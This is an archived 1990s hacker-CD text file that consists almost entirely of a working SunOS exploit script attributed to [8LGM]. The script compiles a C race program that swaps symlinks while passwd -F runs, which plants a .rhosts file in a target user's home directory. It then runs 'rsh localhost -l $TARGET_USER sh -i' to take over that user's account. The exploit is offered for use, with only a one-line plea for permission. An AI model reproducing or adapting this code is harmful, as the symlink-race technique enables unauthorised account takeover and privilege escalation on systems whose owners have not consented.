home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-pa~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  4.9 KB  |  205 lines

  1.  
  2.  
  3.  
  4.  
  5. #!/bin/sh
  6.  
  7. #
  8.  
  9. # Syntax: passwdscript target-user
  10.  
  11. #
  12.  
  13. # This exploits a flaw in SunOS passwd(1), and attempts
  14.  
  15. # to become the specified 'user', by creating a .rhosts
  16.  
  17. # file and using rsh.
  18.  
  19. #
  20.  
  21. # Written 1994 by [8LGM]
  22.  
  23. # Please do not use this script without permission.
  24.  
  25. #
  26.  
  27. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  28.  
  29. IFS=" "                          export IFS
  30.  
  31.  
  32.  
  33. PROG="`basename $0`"
  34.  
  35.  
  36.  
  37. # Check args
  38.  
  39. if [ $# -ne 1 ]; then
  40.  
  41.         echo "Syntax: $PROG user target-file rsh-user"
  42.  
  43.         exit 1
  44.  
  45. fi
  46.  
  47. TARGET_USER="$1"
  48.  
  49.  
  50.  
  51. # Check we're on SunOS
  52.  
  53. if [ "x`uname -s`" != "xSunOS" ]; then
  54.  
  55.         echo "Sorry, this only works on SunOS"
  56.  
  57.         exit 1
  58.  
  59. fi
  60.  
  61.  
  62.  
  63. # Make the race program
  64.  
  65. cat >passwdrace.c << 'EOF'
  66.  
  67. #include <sys/types.h>
  68.  
  69. #include <sys/stat.h>
  70.  
  71. #include <unistd.h>
  72.  
  73. #include <fcntl.h>
  74.  
  75. #include <stdio.h>
  76.  
  77. #include <signal.h>
  78.  
  79. #include <pwd.h>
  80.  
  81.  
  82.  
  83.  
  84.  
  85. main(argc, argv)
  86.  
  87. int argc;
  88.  
  89. char *argv[];
  90.  
  91. {
  92.  
  93.         FILE    *passwd_in, *passwd_out;
  94.  
  95.     int    race_child_pid = -1;
  96.  
  97.     struct    stat st;
  98.  
  99.     struct    passwd *pw;
  100.  
  101.     char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
  102.  
  103.         buf[1024], cmd[256], nowhere[256], nowhere2[256],
  104.  
  105.         dir[256];
  106.  
  107.  
  108.  
  109.     if (argc != 2) {
  110.  
  111.         fprintf(stderr, "Usage: %s target-user\n",
  112.  
  113.             argv[0]);
  114.  
  115.         exit(1);
  116.  
  117.     }
  118.  
  119.  
  120.  
  121.     /*
  122.  
  123.      * Get Target User info
  124.  
  125.      */
  126.  
  127.     if ((pw = getpwnam(argv[1])) == NULL) {
  128.  
  129.         fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
  130.  
  131.             argv[0], argv[1]);
  132.  
  133.         exit(1);
  134.  
  135.     }
  136.  
  137.     strcpy(dir, pw->pw_dir);
  138.  
  139.  
  140.  
  141.     /*
  142.  
  143.      * Set up names for directories/links we will access
  144.  
  145.      */
  146.  
  147.     sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
  148.  
  149.     sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
  150.  
  151.     sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
  152.  
  153.     sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
  154.  
  155.     sprintf(ptmp, "%s/ptmp", dir);
  156.  
  157.     symlink(pwd_dir, pwd_link);
  158.  
  159.  
  160.  
  161.     /*
  162.  
  163.      * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
  164.  
  165.      * The bigger our 'passwd file', the longer passwd(1) takes
  166.  
  167.      * to write it out, the greater chance we have of noticing
  168.  
  169.      * it doing so and winning the race.
  170.  
  171.      */
  172.  
  173.     mkdir(pwd_dir, 0700);
  174.  
  175.     sprintf(pwd_file, "%s/.rhosts", pwd_dir);
  176.  
  177.     if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
  178.  
  179.         fprintf(stderr, "Cant open %s!\n", pwd_file);
  180.  
  181.         exit(1);
  182.  
  183.     }
  184.  
  185.     if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
  186.  
  187.         fprintf(stderr, "Cant open /etc/passwd\n");
  188.  
  189.         exit(1);
  190.  
  191.     }
  192.  
  193.     if ((pw = getpwuid(getuid())) == NULL) {
  194.  
  195.         fprintf(stderr, "Who are you?\n");
  196.  
  197.         exit(1);
  198.  
  199.     }
  200.  
  201.     fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
  202.  
  203.     for (;;) {
  204.  
  205.         fseek(passwd_in, 0L, SEEK_SET);
  206.  
  207.         while(fgets(buf, sizeof(buf), passwd_in))
  208.  
  209.             fputs(buf, passwd_out);
  210.  
  211.         if (ftell(passwd_out) > 32768)
  212.  
  213.             break;
  214.  
  215.     }
  216.  
  217.     fclose(passwd_in);
  218.  
  219.     fflush(passwd_out);
  220.  
  221.  
  222.  
  223.     /*
  224.  
  225.      * Fork a new process.  In the parent, run passwd -F.
  226.  
  227.      * In the child, run the race process(es).
  228.  
  229.      */
  230.  
  231.     if ((race_child_pid = fork()) < 0) {
  232.  
  233.         perror("fork");
  234.  
  235.         exit(1);
  236.  
  237.     }
  238.  
  239.     if (race_child_pid) {
  240.  
  241.         /*
  242.  
  243.          * Parent - run passwd -F
  244.  
  245.          */
  246.  
  247.         sprintf(pwd_file, "%s/.rhosts", pwd_link);
  248.  
  249.         puts("Wait until told you see \"Enter your password now!\"");
  250.  
  251.         sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
  252.  
  253.         system(cmd);
  254.  
  255.         kill(race_child_pid, 9);
  256.  
  257.         exit(0);
  258.  
  259.     } else {
  260.  
  261.         /*
  262.  
  263.          * Child
  264.  
  265.          */
  266.  
  267.         int fd = fileno(passwd_out);
  268.  
  269.         time_t last_access;
  270.  
  271.  
  272.  
  273.         /*
  274.  
  275.          * Remember the current 'last accessed'
  276.  
  277.          * time for our password file.  Once this
  278.  
  279.          * changes it, we know passwd(1) is reading
  280.  
  281.          * it, and we can switch the symlink.
  282.  
  283.          */
  284.  
  285.         if (fstat(fd, &st)) {
  286.  
  287.             perror("fstat");
  288.  
  289.             exit(1);
  290.  
  291.         }
  292.  
  293.         last_access = st.st_atime;
  294.  
  295.  
  296.  
  297.         /*
  298.  
  299.          * Give passwd(1) a chance to start up.
  300.  
  301.          * and do its initialisations.  Hopefully
  302.  
  303.          * by now, its asked the user for their
  304.  
  305.          * password.
  306.  
  307.          */
  308.  
  309.         sleep(5);
  310.  
  311.         write(0, "Enter your password now!\n",
  312.  
  313.               sizeof("Enter your password now!\n"));
  314.  
  315.  
  316.  
  317.         /*
  318.  
  319.          * Link our directory to our target directory
  320.  
  321.          */
  322.  
  323.         unlink(pwd_link);
  324.  
  325.         symlink(dir, pwd_link);
  326.  
  327.  
  328.  
  329.         /*
  330.  
  331.          * Create two links pointing to nowhere.
  332.  
  333.          * We use rename(2) to switch these in later.
  334.  
  335.          * (Using unlink(2)/symlink(2) is too slow).
  336.  
  337.          */
  338.  
  339.         symlink(pwd_dir, nowhere);
  340.  
  341.         symlink(dir, nowhere2);
  342.  
  343.  
  344.  
  345.         /*
  346.  
  347.          * Wait until ptmp exists in our target
  348.  
  349.          * dir, then switch the link.
  350.  
  351.          */
  352.  
  353.         while ((open(ptmp, O_RDONLY)==-1));
  354.  
  355.         rename(nowhere, pwd_link);
  356.  
  357.         
  358.  
  359.         /*
  360.  
  361.          * Wait until passwd(1) has accessed our
  362.  
  363.          * 'password file', then switch the link.
  364.  
  365.          */
  366.  
  367.         while (last_access == st.st_atime)
  368.  
  369.             fstat(fd, &st);
  370.  
  371.         rename(nowhere2, pwd_link);
  372.  
  373.     }
  374.  
  375. }
  376.  
  377. EOF
  378.  
  379. cc -O -o passwdrace passwdrace.c
  380.  
  381.  
  382.  
  383. # Check we now have passwdrace
  384.  
  385. if [ ! -x "passwdrace" ]; then
  386.  
  387.         echo "$PROG: couldnt compile passwdrace.c - check it out"
  388.  
  389.         exit 1
  390.  
  391. fi
  392.  
  393.  
  394.  
  395. # Start passwdrace
  396.  
  397. ./passwdrace $TARGET_USER
  398.  
  399.  
  400.  
  401. # Try to rsh
  402.  
  403. rsh localhost -l $TARGET_USER sh -i
  404.  
  405. exit 0
  406.  
  407.  
  408.  
  409.